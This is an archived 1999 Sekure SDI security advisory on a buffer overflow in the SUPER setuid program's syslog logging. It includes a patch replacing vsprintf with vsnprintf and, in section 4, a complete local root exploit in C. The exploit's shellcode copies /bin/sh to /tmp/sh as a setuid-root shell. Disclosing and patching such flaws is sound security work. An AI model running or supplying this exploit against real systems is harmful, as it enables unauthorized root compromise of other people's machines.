SUPER buffer overflow

From: c0nd0r (rootat_private)
Date: Wed Feb 24 1999 - 20:43:37 PST

  • Next message: William Deich: "Buffer Overflow in Super (new)"

     	           	    s e k u r e   S D I
                     	   http://www.sekure.org
                             -------------------------
                         Brazilian Information Security Team
    
    
                      -> SUPER's log function buffer overflow <-
    
    
    
    1. Description
    
      We've seen a discussion weeks ago in the bugtraq mailing list about the
    vulnerability found in the SUPER package which could lead to root
    compromise. The author had released a patch and the problem was fixed in
    the newest version.
    
      While perusing through the super 3.11.6, we've noticed another possible
    buffer overflow condition if the syslog option is enabled (error.c):
    
      (Error() function)
      (..)
         if (error_syslog) {
            char newfmt[MAXPRINT], buf[MAXPRINT];
      (..)
            va_start(ap, fmt);
            (void) vsprintf(buf, newfmt, ap);
            va_end(ap);
      (..)
    
     MAXPRINT is 1300 bytes long.
    
     Error() function is used to return error messages which means it probably
     use a user supplied data as an argument (it does):
    
     (time.c)
     (...)
      return Error(0, 0, "%t\n\tInvalid time <%s>\n", str);
     (...)
    
     str is the string supplied by the -T option.
    
     As we can see, this bug is bit different from the one reported last week.
     I've noticed the 3.11.9 patchlevel is vulnerable to the problem, which
     might mean the newest version of super is vulnerable.
    
    
    2.Consequences
    
      Local user may gain root privileges.
    
    
    3. Recommendations
    
     Please, apply the patch below or remove the suid bit from the super
     binary (chmod u-s /usr/local/bin/super).
    
    --- error.c	Thu Feb 25 00:38:25 1999
    +++ error.patch.c	Thu Feb 25 01:07:53 1999
    @@ -321,7 +321,7 @@
     	if (tag)
     	    StrLCat(newfmt, tag, sizeof(newfmt));
     	va_start(ap, fmt);
    -	(void) vsprintf(buf, newfmt, ap);
    +	(void) vsnprintf(buf, sizeof(buf), newfmt, ap);
     	va_end(ap);
     	SysLog(error_priority, buf);
         }
    @@ -485,7 +485,7 @@
     	StrLCat(newfmt, fmt, sizeof(newfmt));
     	if (tag)
     	    StrLCat(newfmt, tag, sizeof(newfmt));
    -	(void) vsprintf(buf, newfmt, ap);
    +	(void) vsnprintf(buf, sizeof(buf), newfmt, ap);
     	va_end(ap);
     	SysLog(error_priority, buf);
         }
    
    
    4. Exploit
    
      You will find the exploit for this issue in our page as well.
      http://ssc.sekure.org
    
    --------------- SDI-super.c --------------------------------------
    /*
     * [            Sekure SDI              ]
     * [    Brazilian Info Security Team    ]
     * | ---------------------------------- ]
     * |     SUPER exploit for linux        |
     * | ---------------------------------- |
     * |                                    |
     * |      http://ssc.sekure.org         |
     * |   Sekure SDI Secure Coding Team    |
     * |                                    |
     * | ---------------------------------- |
     * |   by c0nd0r <condorat_private>    |
     * | ---------------------------------- |
     * [ thanks for the ppl at sekure.org:  ]
     * [ jamez(shellcode), bishop, dumped,  ]
     * [ bahamas, fcon, vader, yuckfoo.     ]
     *
     *
     * This will exploit a buffer overflow condition in the log section of
     * the SUPER program.
     *
     * It will create a suid bash owned by root at /tmp/sh.
     * (It'll defeat the debian bash-2.xx protection against rootshell)
     *
     * Note: The SUPER program must be compiled with the SYSLOG option.
     *
     * also thanks people from #uground (irc.brasnet.org network)
     *
     */
    
    char shellcode[] =
            "\xeb\x31\x5e\x89\x76\x32\x8d\x5e\x08\x89\x5e\x36"
            "\x8d\x5e\x0b\x89\x5e\x3a\x31\xc0\x88\x46\x07\x88"
            "\x46\x0a\x88\x46\x31\x89\x46\x3e\xb0\x0b\x89\xf3"
            "\x8d\x4e\x32\x8d\x56\x3e\xcd\x80\x31\xdb\x89\xd8"
            "\x40\xcd\x80\xe8\xca\xff\xff\xff"
            "/bin/sh -c cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh";
    
    
    unsigned long getsp ( void) {
      __asm__("mov %esp,%eax");
    }
    
    main ( int argc, char *argv[] ) {
     char itamar[2040]; // ta mar mesmo
     long addr;
     int x, y, offset = 1000, align=0;
    
     if ( argc > 1) offset = atoi(argv[1]);
    
     addr = getsp() + offset;
    
     for ( x = 0; x < (1410-strlen(shellcode)); x++)
       itamar[x] = 0x90;
    
     for (  ; y < strlen(shellcode); x++, y++)
       itamar[x] = shellcode[y];
    
     for ( ; x < 1500; x+=4) {
      itamar[x  ] = (addr & 0xff000000) >> 24;
      itamar[x+1] = (addr & 0x000000ff);
      itamar[x+2] = (addr & 0x0000ff00) >> 8;
      itamar[x+3] = (addr & 0x00ff0000) >> 16;
     }
    
     itamar[x++] = '\0';
     printf ( "\nwargames at 0x%x, offset %d\n", addr, offset);
     printf ( "Look for a suid shell root owned at /tmp/sh\n");
    
     execl ( "/usr/local/bin/super", "super", "-T",itamar, (char *) 0);
    
    }
    ---------------------- eof -----------------------------------------
    
    
    5. Contacts
    
    
      Sekure SDI Advisory is a publication of Sekure SDI
      Brazilian Information Security Team
      http://www.sekure.org
      mailto:infoat_private
    
      This advisory has been written by Secure Coding Sekure SDI Group.
      http://ssc.sekure.org
      mailto:securecodeat_private
    
      Subscribe the "Best of Security Brasil" (bos-br) Mailing list
      http://bos.sekure.org (portuguese as the main language)
      mailto:bos-br-requestat_private
    
    
    ---
    securecodeat_private
    written by c0nd0r <condorat_private>
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:37:42 PDT